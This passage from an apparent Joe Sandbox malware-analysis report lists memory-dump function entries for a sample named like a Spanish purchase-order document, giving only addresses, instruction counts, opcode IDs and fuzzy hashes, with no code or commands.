                                                                                                              • Instruction Fuzzy Hash: F3C13474108341CFE764CF29C894BAAB7E9FF88704F44496DE98987391D774EA09CB92
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0165C427 Relevance: .3, Instructions: 280COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: adbb376a4fff64840176e21807d7f779e46f99ed6c148d6759a4b54a336d2b7e
                                                                                                              • Instruction ID: 4bfa5972c7226eaec622f05139a321ae67d69b9c3528763c11b547efcc392389
                                                                                                              • Opcode Fuzzy Hash: adbb376a4fff64840176e21807d7f779e46f99ed6c148d6759a4b54a336d2b7e
                                                                                                              • Instruction Fuzzy Hash: 02B16170A002668BDB65DF58CC90BA9B7B6EF44704F0485E9D90AEB341EB709DC6CF24
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0168E5E7 Relevance: .3, Instructions: 278COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 02dd135f82ee1210454dec8effdb721bb828ac01f5ce59f314e3956d1b5acf62
                                                                                                              • Instruction ID: cd723b6cad8a6f16c662dda71fd4ce819beffc51eec42cb0e492ee81280b8cc4
                                                                                                              • Opcode Fuzzy Hash: 02dd135f82ee1210454dec8effdb721bb828ac01f5ce59f314e3956d1b5acf62
                                                                                                              • Instruction Fuzzy Hash: 91A12831E002559FEB21EB9CCC44BBEBBB6EB04B14F054299EA11A7391D7749D41CBD1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A0185 Relevance: .3, Instructions: 276COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: ecd083b1d422c2b48debee262423196fb0c2091e35a351b8f8dac99dcf7f77a5
                                                                                                              • Instruction ID: 1fd4e96ee2ae1c5f5042f6a08cf701a9aac7987e728499623001457532e38883
                                                                                                              • Opcode Fuzzy Hash: ecd083b1d422c2b48debee262423196fb0c2091e35a351b8f8dac99dcf7f77a5
                                                                                                              • Instruction Fuzzy Hash: 14A1BD70B01716DBEB25DF69CD90BAAB7A1FF54318F404129EA0597382EB74EC12CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01734500 Relevance: .3, Instructions: 275COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 3e1cd90f9495df12781f41bdda38e055de5f7730a0ca08866959747fdb2213b2
                                                                                                              • Instruction ID: 06d8fdb64840a5003c9f35613963b43e63de689feb0ccb6520231a02525905f3
                                                                                                              • Opcode Fuzzy Hash: 3e1cd90f9495df12781f41bdda38e055de5f7730a0ca08866959747fdb2213b2
                                                                                                              • Instruction Fuzzy Hash: ACA1BB72A04202EFD726DF28C980B5ABBE9FF88704F44456CE5869B652D334E800CB95
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016E60E0 Relevance: .3, Instructions: 264COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 2004d05055e3334799deb78a82c1f0e76ab2e2b2b4959dfabe5ee42e29172672
                                                                                                              • Instruction ID: b94d5cab12ab1179f8bfa957a0239df13f3f6a690dc635d1e9d3e13679107ba9
                                                                                                              • Opcode Fuzzy Hash: 2004d05055e3334799deb78a82c1f0e76ab2e2b2b4959dfabe5ee42e29172672
                                                                                                              • Instruction Fuzzy Hash: 7F918071D01216AFDF15CFA8DC88BAEBFF6AB58710F154269E610AB341D734E9009BA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0167E3F0 Relevance: .3, Instructions: 261COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: bc20c3b17034f9c305e21c50ef90714089a0c068fd744effeedf19d5f51554e6
                                                                                                              • Instruction ID: 7f1909438aa38137988c9539b62431e202c185162da7722657980744197fbfed
                                                                                                              • Opcode Fuzzy Hash: bc20c3b17034f9c305e21c50ef90714089a0c068fd744effeedf19d5f51554e6
                                                                                                              • Instruction Fuzzy Hash: 8C915571A01216CBEB24DB6CCC40BBABBB2EF84B18F0541ADED059B344E736D906C761
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0169E284 Relevance: .2, Instructions: 212COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 9ff29176c2b7cffbf43757dde85512b87c25fd5190cc6075f6385fbb8e6d6ec8
                                                                                                              • Instruction ID: 167620370d4acff8b5d25e003ba5845d7b39fd4111f05743b63bdcbba4428666
                                                                                                              • Opcode Fuzzy Hash: 9ff29176c2b7cffbf43757dde85512b87c25fd5190cc6075f6385fbb8e6d6ec8
                                                                                                              • Instruction Fuzzy Hash: 05812B71A00609AFDB25DFA9CC80AEEBBBAFF88354F14442DE556A7250D731AC45CB60
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0167C640 Relevance: .2, Instructions: 206COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 076250fa2660076b196d8826f7833dae70d6e1a309ca7880c04bf6266a8cea9f
                                                                                                              • Instruction ID: 26c34cbb361f4fa06186429296d414a73084729c0d65f3290f8f7de37b08d3d2
                                                                                                              • Opcode Fuzzy Hash: 076250fa2660076b196d8826f7833dae70d6e1a309ca7880c04bf6266a8cea9f
                                                                                                              • Instruction Fuzzy Hash: 4571AD75D00666DBCB358F58D890BBEBBB5FF58B10F14811EE942AB350E770A801CBA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 017147A0 Relevance: .2, Instructions: 202COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: 88a8b5e98d5c66d1c3eb87874e650e3de8e2ea068a5fc25e70ee4bff0a660ff9
                                                                                                              • Instruction ID: bfb3ae7c230a95a9c3b89bf4659aa1ce3b7b38ccde6f517eddc62d290b59b415
                                                                                                              • Opcode Fuzzy Hash: 88a8b5e98d5c66d1c3eb87874e650e3de8e2ea068a5fc25e70ee4bff0a660ff9
                                                                                                              • Instruction Fuzzy Hash: BD718EB1900305EFEB20DF5DD944A9AFBF9EB80710F41865AF602AB25CC7B19A80CF54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0167260B Relevance: .2, Instructions: 201COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: f887b4b865eb1655bb0ea556a295f760cbb2d5f6dbbec4add12d4502d80286fa
                                                                                                              • Instruction ID: 093620179c2eac0db97fca926ed635c2f1004771e088d9f742aaed5ba7e50cbb
                                                                                                              • Opcode Fuzzy Hash: f887b4b865eb1655bb0ea556a295f760cbb2d5f6dbbec4add12d4502d80286fa
                                                                                                              • Instruction Fuzzy Hash: 7471CE356042528FD312DF2CC894B2AF7E6FF84710F0485AEE8998B356DB38D946CB95
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016E035C Relevance: .2, Instructions: 198COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
                                                                                                              • Instruction ID: 2701e20e9783f151c582e4012d6cb6b8bdbfa61e8ebbcb34842b917b37713f00
                                                                                                              • Opcode Fuzzy Hash: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
                                                                                                              • Instruction Fuzzy Hash: F1715971A0160AAFDB10DFA9CD84AEEBBF9FF58300F104569E505A7250DB70EA02CB94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016F62A0 Relevance: .2, Instructions: 198COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 2eaff657fda8b270d42b5d3b9bd7c6dbc45e04fb13fd9799b39660b3cee13b21
                                                                                                              • Instruction ID: eca45f067912cecc94b8818d47dd56304319bedebaf191c82ab2e39e0c721be8
                                                                                                              • Opcode Fuzzy Hash: 2eaff657fda8b270d42b5d3b9bd7c6dbc45e04fb13fd9799b39660b3cee13b21
                                                                                                              • Instruction Fuzzy Hash: 2D71D032240701AFEB22DF18CC54F56BBB6FB40724F14892CE3568B6A1D775E944CB50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0171A250 Relevance: .2, Instructions: 184COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1337865f262cca625e5aca1ccc424583238eed6289478786896c04fc257e870f
                                                                                                              • Instruction ID: 44a13b6852253fe72df249f0ec808943a56e90349ab3d16cb58f335ac12cad6e
                                                                                                              • Opcode Fuzzy Hash: 1337865f262cca625e5aca1ccc424583238eed6289478786896c04fc257e870f
                                                                                                              • Instruction Fuzzy Hash: 2751BE72505692AFD722DE6CC844E6BFBE9EBC5750F000929BA40DB254D770ED04CBA2
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01708350 Relevance: .2, Instructions: 161COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: be74a39e23976021476f9d0c85511096d5dfd26a142606d54769d90a490b5423
                                                                                                              • Instruction ID: 047576d86b24603c56da2b10f7ee3369a4236a5785f7eedc6a1cd10651151d77
                                                                                                              • Opcode Fuzzy Hash: be74a39e23976021476f9d0c85511096d5dfd26a142606d54769d90a490b5423
                                                                                                              • Instruction Fuzzy Hash: 6951CE70900B05DFD722DF5AC884A6BFBF9BF94710F10461EE292976E0D7B0A945CB91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0169E443 Relevance: .2, Instructions: 158COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: 6132df789c082f3193aad93b7fc459b0106ccfa37a0c58fed7c61390fc3196d4
                                                                                                              • Instruction ID: 5885cc8a0345de4d9634653e930fc737084a3e47fb1027504b0d73dd3f785d78
                                                                                                              • Opcode Fuzzy Hash: 6132df789c082f3193aad93b7fc459b0106ccfa37a0c58fed7c61390fc3196d4
                                                                                                              • Instruction Fuzzy Hash: B9515871600A05DFDB22EFA9CD80EAAB3BEFF14784F40042EE54697660E735E941CB51
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01704180 Relevance: .2, Instructions: 156COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: f53237950a6899daac3b591930d779d0c82c220ee0a68b8ce507fc971ca9fcc0
                                                                                                              • Instruction ID: b8eca92f0d9b02293dd01ec7e17149e49dc1e4126864e3d7c02241dc44131f79
                                                                                                              • Opcode Fuzzy Hash: f53237950a6899daac3b591930d779d0c82c220ee0a68b8ce507fc971ca9fcc0
                                                                                                              • Instruction Fuzzy Hash: 44514671608342DFD755DF29C880A6BF7E5BBC8214F44492DF68AD7290DB30E905CB56
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016845B1 Relevance: .2, Instructions: 156COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 0d00e1a585e90d849ff2aa0c284c489e35fe4af6d50ef2092e2439a8439fa3dd
                                                                                                              • Instruction ID: 695758add3efbfec6cc99b90305de851e6047ec411ebe0e92b870a92d9f72579
                                                                                                              • Opcode Fuzzy Hash: 0d00e1a585e90d849ff2aa0c284c489e35fe4af6d50ef2092e2439a8439fa3dd
                                                                                                              • Instruction Fuzzy Hash: C9516E71E0021AABDF15EF94C840BFEBBB5EF45754F14426AEA01AB340DB34D945CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016EE9E0 Relevance: .2, Instructions: 154COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: b631fe1f52208cb18c131e5291272d5615ec6cd8030edbb8dd5fe07777775a1e
                                                                                                              • Instruction ID: 8e364b6db48d7a0b65c2983344596ecf666ce7924fad64cdffe7a0d9dccf7269
                                                                                                              • Opcode Fuzzy Hash: b631fe1f52208cb18c131e5291272d5615ec6cd8030edbb8dd5fe07777775a1e
                                                                                                              • Instruction Fuzzy Hash: DC51EA31D01209EFDF119F94CD98BAEBBF9AF00314F114759D91167290D7329D45CBA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0169A430 Relevance: .1, Instructions: 139COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 2856caf45b9b62739d13a5de49ea987f4d4931c3e1e12dce32aaebd184472c3c
                                                                                                              • Instruction ID: 2b88320af0c2651e714871fe44ed49e9365666ec4002a50f3e3efe68fcd15940
                                                                                                              • Opcode Fuzzy Hash: 2856caf45b9b62739d13a5de49ea987f4d4931c3e1e12dce32aaebd184472c3c
                                                                                                              • Instruction Fuzzy Hash: 99412371B44316DBDF25EFA8DC90B6A37AAEB14768F40402CEE0A9B241DBB19801C795
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0172A9D3 Relevance: .1, Instructions: 139COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 7622aca86cac28a0acf118705f69cf0cc3cb486fddc0e93dd45dfd5b9ea80ff7
                                                                                                              • Instruction ID: 1075f4ade96b1758db8ab0ddae91fed80df56d59f5f51e2c501a5b606c46d4e0
                                                                                                              • Opcode Fuzzy Hash: 7622aca86cac28a0acf118705f69cf0cc3cb486fddc0e93dd45dfd5b9ea80ff7
                                                                                                              • Instruction Fuzzy Hash: 22410B71A007269FD725CF68C984A6AF7B9FF80310B05466EE95287B44EB30EE16C7D0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016901F8 Relevance: .1, Instructions: 138COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 11f17ab6f70782e4b4dce3bbfebbfeb3bb9da5b2495619e34ab05e4417d22063
                                                                                                              • Instruction ID: 2027d91e36332f22f4a69fbad5ad746971fd8a3c1ae61898968982fa251ec271
                                                                                                              • Opcode Fuzzy Hash: 11f17ab6f70782e4b4dce3bbfebbfeb3bb9da5b2495619e34ab05e4417d22063
                                                                                                              • Instruction Fuzzy Hash: 9B418C36D002169BDF14DFA8C840AEEB7BDAF48710F14815AF915E7340D7359D42CBA8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2750 Relevance: .1, Instructions: 137COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: f9143dc9ab32c0c56755980999bbdd100a6c23c33ec6549c8632214e05dba9ed
                                                                                                              • Instruction ID: d11284ff21d2ff25f4d0ae2c62345190cb820414fa47c5fd5be49b76bf49218d
                                                                                                              • Opcode Fuzzy Hash: f9143dc9ab32c0c56755980999bbdd100a6c23c33ec6549c8632214e05dba9ed
                                                                                                              • Instruction Fuzzy Hash: 98514775E052158FCB15CF98C880AAEF7B2FF84724F2981A9D915A7351D770AE42CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01666154 Relevance: .1, Instructions: 133COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 0753af9f6e2722a8ad413ef3b88bf22d43c058db26f6e4a2425d20cb0cfdda8d
                                                                                                              • Instruction ID: 28c96ccb923aeb56be41a13cf062ad2d0d5201bde14260da67692e87601f9412
                                                                                                              • Opcode Fuzzy Hash: 0753af9f6e2722a8ad413ef3b88bf22d43c058db26f6e4a2425d20cb0cfdda8d
                                                                                                              • Instruction Fuzzy Hash: 4651F570940256DBDB258B28DC10BB8BBBAFF11314F1482ADE519973D1DB74A981CF84
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0172866E Relevance: .1, Instructions: 129COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 52a1741bb7668dbd0e330b4cee233e7836a49f18a3e4eafb0fad66dd8014cf6e
                                                                                                              • Instruction ID: 6f796e8766b951357e58af8a6bd29d8828f92182b001b103b3b2ba830fc04fe1
                                                                                                              • Opcode Fuzzy Hash: 52a1741bb7668dbd0e330b4cee233e7836a49f18a3e4eafb0fad66dd8014cf6e
                                                                                                              • Instruction Fuzzy Hash: 3541A475B10225ABDB15DF99CC84AAFFBFAAF88700F144069E904A7346DB71DE02C761
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0168A470 Relevance: .1, Instructions: 127COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 510f0a96eb2d1964ce729f2b1eff1c383b64625b40605a646c3894d2c71bfbde
                                                                                                              • Instruction ID: ccec1097228af48b9139f0aa12714f94008a274b9e65d6990a8641bb840c32cd
                                                                                                              • Opcode Fuzzy Hash: 510f0a96eb2d1964ce729f2b1eff1c383b64625b40605a646c3894d2c71bfbde
                                                                                                              • Instruction Fuzzy Hash: 9741DF31940204CFDB21EFACDC94BAD7BB1FB44320F08425AD812A7385EB709981CBA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01658918 Relevance: .1, Instructions: 123COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 50aeb32c2ca8917608f649bf8f5871f81d1db8f5da3a393e4afbecf272ef02e9
                                                                                                              • Instruction ID: 33d2cf8df39055027e1963ead1f1a9c7d999ff6e1a9f1712ea6989801bb63f0d
                                                                                                              • Opcode Fuzzy Hash: 50aeb32c2ca8917608f649bf8f5871f81d1db8f5da3a393e4afbecf272ef02e9
                                                                                                              • Instruction Fuzzy Hash: 4A413A315083469EE312DF69CC80A6BB7E9EF88B54F40092EF984D7250E731DE458B97
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0165A020 Relevance: .1, Instructions: 122COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 165ca662f4b1c8196e57a2c4173bd848e06efaa623a98917432a96e6c9651090
                                                                                                              • Instruction ID: 3d383c509a30c090a9ab7c612b1ddb3c9bbd35b0029f1305e5b66a219cc0170b
                                                                                                              • Opcode Fuzzy Hash: 165ca662f4b1c8196e57a2c4173bd848e06efaa623a98917432a96e6c9651090
